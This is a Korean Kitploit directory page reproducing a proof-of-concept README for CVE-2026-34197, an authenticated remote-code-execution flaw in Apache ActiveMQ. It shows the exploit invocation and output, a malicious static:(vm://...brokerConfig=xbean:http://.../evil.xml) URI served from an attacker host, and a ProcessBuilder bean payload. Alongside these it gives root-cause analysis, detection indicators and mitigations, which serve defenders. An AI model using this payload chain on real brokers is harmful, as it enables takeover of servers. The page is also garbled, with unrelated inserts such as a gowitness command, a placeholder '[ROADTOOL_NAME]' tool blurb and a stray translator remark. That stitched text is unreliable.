Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-34197 — CVE-2026-34197에 대한 개념 증명 익스플로잇으로, Jolokia JMX-HTTP 브리지 및 Spring XML 빈 주입을 통해 Apache ActiveMQ에서 인증된 원격 코드 실행을 시연합니다. | Kitploit
도구/GitHubGitHub/lat-06/cve-2026-34197
Dynamic Analysis (Sandboxing)Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHublat-06/cve-2026-34197

CVE-2026-34197

CVE-2026-34197에 대한 개념 증명 익스플로잇으로, Jolokia JMX-HTTP 브리지 및 Spring XML 빈 주입을 통해 Apache ActiveMQ에서 인증된 원격 코드 실행을 시연합니다.

저장소 보기
33개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-34197

설명
Apache ActiveMQ Broker, Apache ActiveMQ에서 부적절한 입력 검증, 코드 생성 제어 부적절(‘코드 인젝션’) 취약점입니다. Apache ActiveMQ Classic은 웹 콘솔의 /api/jolokia/에서 Jolokia JMX-HTTP 브리지를 노출합니다. 기본 Jolokia 액세스 정책은 BrokerService.addNetworkConnector(String) 및 BrokerService.addConnector(String)를 포함한 모든 ActiveMQ MBean(org.apache.activemq:*)에 대해 exec 작업을 허용합니다. 인증된 공격자는 조작된 discovery URI를 사용하여 이러한 작업을 호출할 수 있으며, 이를 통해 VM 전송의 brokerConfig 매개변수가 ResourceXmlApplicationContext를 사용하여 원격 Spring XML 애플리케이션 컨텍스트를 로드하도록 합니다. Spring의 ResourceXmlApplicationContext가 BrokerService가 구성을 검증하기 전에 모든 싱글톤 빈을 인스턴스화하므로 Runtime.exec()와 같은 빈 팩토리 메서드를 통해 브로커의 JVM에서 임의 코드 실행이 발생합니다. 이 문제는 Apache ActiveMQ Broker: 5.19.4 이전, 6.0.0에서 6.2.3 이전; Apache ActiveMQ All: 5.19.4 이전, 6.0.0에서 6.2.3 이전; Apache ActiveMQ: 5.19.4 이전, 6.0.0에서 6.2.3 이전에 영향을 미칩니다. 사용자는 이 문제를 해결한 버전 5.19.4 또는 6.2.3으로 업그레이드하는 것이 좋습니다.

자세한 정보: 링크

익스플로잇 단계

참고

GitHub: 링크```bash ❯ docker compose up -d

root@kitploit:~
### Docker 이미지

실행:

```sh
docker run -it --rm --name gowitness -v $(pwd):/data ghcr.io/sensepost/gowitness report serve
``````bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

LHOST는 컴퓨터의 사설 IP입니다. Windows에서는 ipconfig를, Linux에서는 ifconfig를 사용할 수 있습니다.

RCE 확인```bash ❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

root@kitploit:~
=> RCE 성공, 파일 `blahblah.txt`가 대상 시스템에 생성되었습니다.

# 분석 단계
## 동적 분석```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
root@kitploit:~
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

런타임 로그 또한 Jolokia가 활성화되어 ActiveMQ 웹 콘솔을 통해 노출되었음을 확인했습니다:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
연결 확인```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

이는 다음을 의미합니다:

  • Jolokia에 접근 가능함
  • 기본 자격 증명을 사용하여 인증 성공
  • 대상이 ActiveMQ 5.18.6을 실행 중임
  • Jolokia 에이전트가 인증된 요청을 수락함

로그를 읽으려면```bash docker logs activemq-vuln > activemq-rce.log

root@kitploit:~
그런 다음 clean chain에 대해 grep을 수행합니다```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

페이로드 전송 후```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
이 줄은 공격자가 제어하는 URI가 다음을 통해 제공되었음을 확인하기 때문에 중요합니다:```java
BrokerView.addNetworkConnector(String)

정화되지 않은 상태로 VM 전송 계층에 도달했습니다.

악용에 사용된 악성 URI는 다음과 같습니다:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

root@kitploit:~
이 URI는 두 가지 중요한 부분을 포함합니다:

| 구성 요소      | 목적                                           |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | ActiveMQ 검색 커넥터에서 사용하는 래퍼     |
| `vm://evil?...` | ActiveMQ 내부에서 처리되는 VM 전송 URI |

`static:(...)` 래퍼 자체는 취약한 구성 요소가 아닙니다. 그 목적은 포함된 전송 URI를 ActiveMQ의 네트워크 커넥터 하위 시스템에 전달하는 것입니다.

런타임 실행 중에 ActiveMQ는 내부 VM 전송 URI를 추출하여 처리했습니다:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

이 동작은 런타임 로그에서 확인되었습니다:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
`brokerConfig=` 매개변수는 페이로드의 중요한 부분입니다. 이는 VM 전송 계층에 외부 Spring xbean 구성에서 로드된 브로커 인스턴스를 동적으로 생성하도록 지시했습니다. 다음에서:```text
http://192.168.1.32:9999/evil.xml

xbean: 접두사는 ActiveMQ가 처리를 Spring의 XML 애플리케이션 컨텍스트 로더에 위임하도록 했습니다:```text org.apache.xbean.spring.context.ResourceXmlApplicationContext

root@kitploit:~
결과적으로, 원격 XML 문서가 브로커 JVM 내에서 Spring 애플리케이션 컨텍스트로 파싱되고 인스턴스화되었습니다.

악성 XML에는 다음과 같은 Spring 빈(bean)이 포함되어 있습니다:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

이 빈 정의는 Spring이 애플리케이션 컨텍스트 초기화 중에 ProcessBuilder 객체를 인스턴스화하고 즉시 해당 start() 메서드를 호출하도록 지시했습니다.

익스플로잇은 다음 명령어를 사용했습니다:```bash touch /tmp/blahblah.txt

root@kitploit:~
Spring이 컨텍스트 초기화 중에 싱글톤 빈을 즉시 인스턴스화하기 때문에, ActiveMQ가 브로커 구성 자체가 안전하거나 유효한지 검증하기 전에 `ProcessBuilder.start()` 메서드가 실행되었습니다.

이로 인해 대상 컨테이너에서 임의의 명령이 실행되었습니다.

익스플로잇은 ActiveMQ 컨테이너 내부의 `/tmp` 디렉터리를 확인하여 검증되었습니다.```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

파일 메타데이터는 명령 실행이 성공했음을 추가로 확인했습니다:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt

File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35

root@kitploit:~
이는 ActiveMQ 컨테이너 컨텍스트 내에서 임의의 운영 체제 명령이 성공적으로 실행되었음을 증명합니다.

런타임 스택 트레이스는 또한 전체 취약한 실행 경로를 드러냈습니다:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

런타임 분석 중에 다음 스택 트레이스 항목들이 관찰되었습니다:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)

at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)

at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)

at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)

at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)

at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)

at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)

root@kitploit:~
동적 분석 중 가장 중요한 관찰 중 하나는 Spring과 ActiveMQ가 악성 구성을 처리한 순서였습니다.

페이로드가 성공적으로 실행된 후, ActiveMQ는 나중에 다음과 같은 경고를 생성했습니다:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

이 동작은 다음을 보여줍니다:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.

root@kitploit:~
Even though the broker configuration itself was ultimately rejected, the malicious Spring bean had already been instantiated and executed.

This ordering issue is the core logic flaw behind CVE-2026-34197.

The dynamic analysis identified the following components participating in the exploit chain:

| Component                     | Role                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | HTTP-to-JMX 브리지                 |
| BrokerView                    | 노출된 관리 MBean                  |
| VMTransportFactory            | `vm://` 전송 URI를 구문 분석       |
| BrokerFactory                 | 브로커 인스턴스 생성               |
| XBeanBrokerFactory            | Spring xbean 구성 로드             |
| ResourceXmlApplicationContext | 원격 XML 로드                      |
| XmlBeanDefinitionReader       | Spring bean 정의 구문 분석         |
| Spring BeanFactory            | 싱글톤 bean 인스턴스화            |
| ProcessBuilder                | 운영 체제 명령 실행                |

The dynamic analysis confirms that CVE-2026-34197 is caused by the interaction between:

* 과도하게 허용적인 Jolokia 관리 작업
* 공격자가 제어하는 전송 URI
* VM 전송 브로커 자동 생성
* Spring xbean 원격 구성 로드
* 검증 전 조기 싱글톤 bean 인스턴스화

As a result, an authenticated attacker can achieve arbitrary code execution on the ActiveMQ JVM by supplying a malicious `brokerConfig=xbean:http://...` URI through the Jolokia-exposed `addNetworkConnector()` operation.

### Architecture Overview

Apache ActiveMQ Classic은 다음에서 사용 가능한 Jolokia JMX-HTTP 브리지를 통해 관리 인터페이스를 노출합니다:```text id="n0vmrq"
/api/jolokia/

Jolokia는 HTTP-to-JMX 브리지 역할을 하며, 인증된 사용자가 HTTP를 통해 원격으로 Java Management Extensions (JMX) 작업을 호출할 수 있도록 합니다.

분석 중 식별된 취약한 아키텍처 경로는 아래와 같습니다:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution

root@kitploit:~
The following components were involved in the exploit chain:

| Component             | Function                                     |
| --------------------- | -------------------------------------------- |
| Jolokia               | HTTP를 통해 JMX 작업을 노출합니다             |
| BrokerView            | 관리 MBean 인터페이스                        |
| VMTransportFactory    | `vm://` 전송 URI를 처리합니다                 |
| BrokerFactory         | 동적으로 브로커를 생성합니다                  |
| XBeanBrokerFactory    | Spring xbean 구성을 로드합니다                |
| Spring Context Loader | XML bean 정의를 파싱하고 인스턴스화합니다     |
| ProcessBuilder        | 운영 체제 명령을 실행합니다                   |

ActiveMQ가 인증된 사용자가 공격자가 제어하는 전송 URI로 위험한 브로커 관리 메서드를 호출할 수 있도록 허용하기 때문에 아키텍처가 취약해집니다.

---

### Attack Surface Analysis

The primary attack surface is the Jolokia HTTP endpoint exposed through the ActiveMQ web console:```text id="xq7vba"
http://<target>:8161/api/jolokia/

런타임 분석 결과 Jolokia 인터페이스가 기본적으로 활성화되어 있음이 확인되었습니다:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
Jolokia 엔드포인트는 HTTP 기본 인증을 사용하여 인증된 요청을 수락했습니다:```json id="13tzmx"
"authMode":"basic"

다음과 같은 위험한 관리 작업이 노출되었습니다:```java id="pxqv10" BrokerView.addNetworkConnector(String)

root@kitploit:~
이 메서드는 사용자 제어 전송 URI를 수용하면서 위험한 URI 스킴이나 구성 매개변수를 충분히 제한하지 않습니다.

공격자는 다음 페이로드를 제공했습니다:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

이 페이로드는 여러 기능을 동시에 악용했습니다:

따라서 공격 표면에는 다음이 포함됩니다:

  • Jolokia HTTP API 노출
  • 약하게 제한된 JMX 관리 작업
  • 동적 전송 URI 파싱
  • 외부 브로커 구성 로드
  • Spring xbean 통합

근본 원인 분석

이 취약점은 ActiveMQ 내부의 여러 신뢰할 수 있는 하위 시스템 간의 상호 작용으로 인해 발생합니다.

핵심 문제는 인증된 Jolokia 사용자가 공격자가 제어하는 전송 URI를 사용하여 위험한 브로커 관리 작업을 호출할 수 있다는 점입니다.

런타임 분석 중 확인된 취약한 실행 흐름은 다음과 같습니다:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation

root@kitploit:~
중요한 매개변수는:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

이 매개변수는 VM 전송 계층이 외부 Spring xbean 구성을 사용하여 동적으로 브로커를 생성하도록 지시합니다.

다음 런타임 증거는 이 동작을 확인했습니다:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Spring은 그 후 원격 XML을 다음을 통해 로드했습니다:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

악성 XML에는 다음이 포함되어 있습니다:```xml id="y6jphd"

root@kitploit:~
Spring 애플리케이션 컨텍스트 초기화 중에 싱글톤 빈은 즉시 인스턴스화됩니다. 그 결과 `ProcessBuilder.start()` 메서드가 즉시 실행되었습니다.

핵심 로직 결함은 ActiveMQ가 브로커 구성 자체가 안전하거나 유효한지 검증하기 전에 Spring 빈 인스턴스화가 발생했다는 것입니다.

이 동작은 다음과 같이 동적으로 입증되었습니다:

1. 악성 페이로드가 성공적으로 `/tmp/blahblah.txt`를 생성했습니다.
2. ActiveMQ는 나중에 다음과 같은 브로커 구성을 거부했습니다:```text id="6k1dwn"
The configuration has no BrokerService instance

이는 브로커 검증이 완료되기 전에 코드 실행이 발생했음을 보여줍니다.


침해 지표(IOC) 및 탐지

잠재적인 침해 지표로는 ActiveMQ 관리 작업을 대상으로 하는 의심스러운 Jolokia 요청이 포함됩니다.

의심스러운 Jolokia 작업

다음을 호출하는 요청을 찾으십시오:```text id="c56p2k" addNetworkConnector addConnector

root@kitploit:~
통해:```text id="pt2n3d"
/api/jolokia/

의심스러운 URI 패턴

다음 URI 조각들은 익스플로잇 시도의 강력한 지표입니다.```text id="n9jlwm" vm:// brokerConfig= xbean: static:(

root@kitploit:~
악성 페이로드 예시:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

아웃바운드 HTTP 연결

브로커는 공격자가 제어하는 인프라로 아웃바운드 요청을 시작할 수 있습니다.```text id="f5g9kx" http://attacker/evil.xml

root@kitploit:~
브로커 JVM에서 예상치 못한 아웃바운드 HTTP 트래픽이 발생하면 조사해야 합니다.

#### Suspicious Runtime Logs

다음 런타임 메시지는 의심스럽습니다:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

[ROADTOOL_NAME]란 무엇인가?

[ROADTOOL_NAME]은 웹 애플리케이션 내 인증 메커니즘의 보안을 테스트하고 평가하기 위해 사이버 보안 전문가를 위해 설계된 특수 도구입니다.

root@kitploit:~
{
  "name": "roadtool_name",
  "version": "1.0.0",
  "description": "A tool for testing authentication security",
  "main": "index.js"
}

참고: 이 도구는 승인된 보안 테스트 용도로만 사용해야 합니다. 소유한 시스템이나 테스트 허가를 명시적으로 받은 시스템에서만 책임감 있게 사용하십시오.

주요 기능:

  • 무차별 대입 탐지: 취약한 암호 및 일반적인 공격 패턴을 식별합니다.
  • 세션 분석: 세션 관리 구현을 분석합니다.
  • 다중 인증 우회 테스트: MFA 구현의 취약점을 테스트합니다.```text id="3q2vls" ResourceXmlApplicationContext
root@kitploit:~
정확한 번역을 위해서는 입력 내용이 필요합니다. 현재 입력이 제공되지 않았습니다.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

파일 시스템 아티팩트

예상치 못한 파일들:```text id="6x7qcm" /tmp/

root@kitploit:~
또는 ActiveMQ JVM에서 의심스러운 자식 프로세스 실행이 발생하면 악용을 나타낼 수 있습니다.

---

### 영향 분석

성공적인 악용은 ActiveMQ JVM 컨텍스트 내에서 인증된 원격 코드 실행을 허용합니다.

분석된 환경에서는 컨테이너 내에서 임의의 운영 체제 명령이 성공적으로 실행되었습니다:```bash id="2hyz0w"
touch /tmp/blahblah.txt

결과:```text id="rm2qfd" /tmp/blahblah.txt

root@kitploit:~
파일은 다음과 같이 생성되었습니다:```text id="9phgkz"
Uid: (0/root)

이는 컨테이너 내에서 루트 권한으로 명령어 실행이 발생했음을 나타냅니다.

잠재적 영향은 다음과 같습니다:

다음과 같은 경우 심각도가 크게 증가합니다:

  • Jolokia가 외부에 노출된 경우
  • 기본 자격 증명이 활성화된 경우
  • 컨테이너가 루트로 실행되는 경우
  • 브로커 호스트에 제한 없는 아웃바운드 접근이 있는 경우

완화 대책

수정 버전으로 업그레이드

ActiveMQ Classic을 다음 버전으로 업그레이드하세요:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later

root@kitploit:~
#### Jolokia 접근 제한

필요하지 않으면 Jolokia를 비활성화하십시오.

Jolokia를 활성화해야 하는 경우:

* 신뢰할 수 있는 관리 네트워크로 접근 제한
* 강력한 인증 적용
* 위험한 exec 작업 비활성화
* 엄격한 Jolokia 접근 정책 적용

#### 기본 자격 증명 제거

사용하지 마십시오:```text id="9mw1xv"
admin:admin

아웃바운드 네트워크 액세스 제한

브로커가 임의의 아웃바운드 HTTP 연결을 시작하지 못하도록 방지합니다.

이렇게 하면 원격 XML 검색 시도를 완화할 수 있습니다.

위험한 기능 비활성화

제한하거나 비활성화:

  • 동적 브로커 생성
  • vm:// 전송 사용
  • 외부 xbean: 구성 로드

런타임 환경 강화

  • 컨테이너를 비루트 사용자로 실행
  • 파일 시스템 제한 적용
  • 네트워크 분할 사용
  • JVM 자식 프로세스 실행 모니터링

탐지 권장 사항

다음을 모니터링:

  • /api/jolokia/에 대한 요청
  • addNetworkConnector 사용
  • brokerConfig= 매개변수
  • xbean: URI
  • 브로커 JVM에서 발생하는 아웃바운드 HTTP 요청
  • Java에서 생성된 예상치 못한 자식 프로세스

정적 분석

소스 코드 개요

취약한 경로는 ActiveMQ 웹/JMX 관리 레이어, 브로커 네트워킹 레이어, VM 전송, 브로커 팩토리 서브시스템 및 Spring XBean 구성 로드를 거칩니다.

Jolokia는 ActiveMQ 웹 API 애플리케이션에서 활성화되어 있습니다:```xml

jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` 브로커 시작 시, ActiveMQ가 `BrokerView`를 브로커 관리 MBean으로 등록합니다:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` 객체 이름은 다음과 같이 생성됩니다:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` 기본 배포판에서는 브로커 MBean을 HTTP로 호출 가능한 Jolokia 대상으로 노출합니다. 예를 들면 다음과 같습니다:```text org.apache.activemq:type=Broker,brokerName=localhost ``` 관련 구성 요소의 책임은 다음과 같습니다.
  • BrokerView: JMX 기반 브로커 관리 퍼사드입니다. addNetworkConnector(String) 및 addConnector(String)을 노출합니다.
  • BrokerService: 브로커 런타임 객체입니다. 문자열 네트워크 커넥터 주소를 URI로 변환하고 DiscoveryNetworkConnector를 생성합니다.
  • DiscoveryNetworkConnector: 디스커버리 에이전트를 사용하여 원격 브로커 서비스 URI를 획득한 후, 발견된 각 URI에 연결합니다.
  • TransportFactory: META-INF/services/org/apache/activemq/transport/<scheme>을 사용하여 URI 스킴을 전송 팩토리로 해석합니다.
  • VMTransportFactory: vm:// 전송을 처리하며, 요청된 VM 브로커가 존재하지 않을 때 임베디드 브로커를 자동 생성할 수 있습니다.
  • BrokerFactory: META-INF/services/org/apache/activemq/broker/<scheme>을 사용하여 브로커 구성 URI 스킴을 해석합니다.

취약점은 관리 메서드가 수동적 데이터가 아닌 ActiveMQ URI 언어를 허용하기 때문에 존재합니다. URI가 평가될 때 브로커를 생성하고 Spring XML 구성을 로드할 수 있습니다.


취약한 진입점

취약한 진입점은 다음과 같습니다.```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }

root@kitploit:~
MBean 인터페이스는 작업을 다음과 같이 노출합니다:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

공격자가 제어하는 입력은 Jolokia exec 인수로 discoveryAddress에 전달됩니다. 취약한 버전에서 BrokerView.addNetworkConnector()는 스키마 검증, 중첩 URI 검증, 그리고 전송별 파라미터 필터링을 수행하지 않고 문자열을 BrokerService에 전달합니다.

BrokerService는 문자열을 직접 URI로 변환합니다:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception { return addNetworkConnector(new URI(discoveryAddress)); }

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }

root@kitploit:~
커넥터 객체는 로컬 브로커 URI로 구성된 후 브로커에 추가됩니다:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

제어는 BrokerView가 커넥터를 시작할 때 전송 서브시스템에 도달합니다:```java connector.start();

root@kitploit:~
exploit URI의 경우:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

static:(...)는 정적 디스커버리 커넥터를 생성하며, 내부 vm://... URI가 발견된 원격 서비스가 됩니다.


VM 전송 분석

VM 전송은 다음을 통해 해결됩니다:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm

class=org.apache.activemq.transport.vm.VMTransportFactory

